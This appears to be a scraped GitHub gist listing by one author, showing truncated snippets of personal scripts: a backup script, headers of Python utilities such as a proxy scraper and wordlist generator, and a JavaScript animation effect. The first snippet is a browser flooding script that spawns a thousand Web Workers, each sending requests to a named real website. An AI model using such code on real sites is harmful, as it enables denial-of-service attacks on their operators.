This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files | |
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }"); | |
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it | |
for(i=0;i<1000;i++) // let's roll | |
{ | |
var worker = new Worker(blob_url); | |
worker.onmessage = function(e) { }; | |
worker.postMessage(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
TAR_MAC="00:1f:d0:**:**:**" | |
TAR_HOST="bedna" | |
TAR_USER="starenka" | |
MAX_BW=400 #KB/s | |
MAX_TRIES=5 | |
INTERVAL_TRIES=30 | |
DIALOG_TITLE="--display :0 --title Backup" | |
DIRS=('/photo' '/www' '/prac' '/home/starenka/.scripts' '/home/starenka/bin' '/mail' '/home/starenka/.opera' '/home/starenka/jobs' '/home/starenka/.purple ' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# quick & dirty nntime proxy leech | |
# | |
# @author: starenka | |
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1] | |
# @version: 1.0 | |
# @since Dec 22, 2010 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# Pulls out links to PDFs from Respekt user section. | |
# *As the site allows only one logged in user at once, | |
# you need to logout in your browser in order to use this script. | |
# usage: | |
# $ ./norespekt.py > respekt_links | |
# $ cat respekt_links | xargs -P 10 -r -n 1 wget -nv | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# this is a plugin/hook for bazaar. just add this file to ~/.bazaar/plugins/precommit""" | |
# | |
# @author: starenka | |
# @email: starenka0[at]gmail[dot]com | |
# @version: 1.1 | |
# @since Feb 28, 2010 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# openpaste.org wrapper | |
# | |
# reads from stdin and copies uri to klipper by default | |
# | |
# @author: starenka | |
# @email: admin[at]starenka[dot]net | |
# @version: 1.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# simple wl generator | |
# | |
# @author: starenka | |
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1] | |
# @version: 1.0 | |
# @since 1/1/11 | |
# @requires python 2.6 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# simple shell-fu database | |
# | |
# @author: starenka | |
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1] | |
# @version: 1.3 | |
# @since 1/14/11 | |
# @depends sqlalchemy |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# openpaste.org wrapper | |
# | |
# reads from stdin and copies uri to klipper by default | |
# | |
# @author: starenka | |
# @email: admin[at]starenka[dot]net | |
# @version: 1.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @author starenka | |
*/ | |
Effect.BlindRight = function(element) { | |
element = $(element); | |
var elementDimensions = element.getDimensions(); | |
return new Effect.Scale(element, 100, Object.extend({ | |
scaleContent: false, | |
scaleY: false, | |
scaleFrom: 0, |
OlderNewer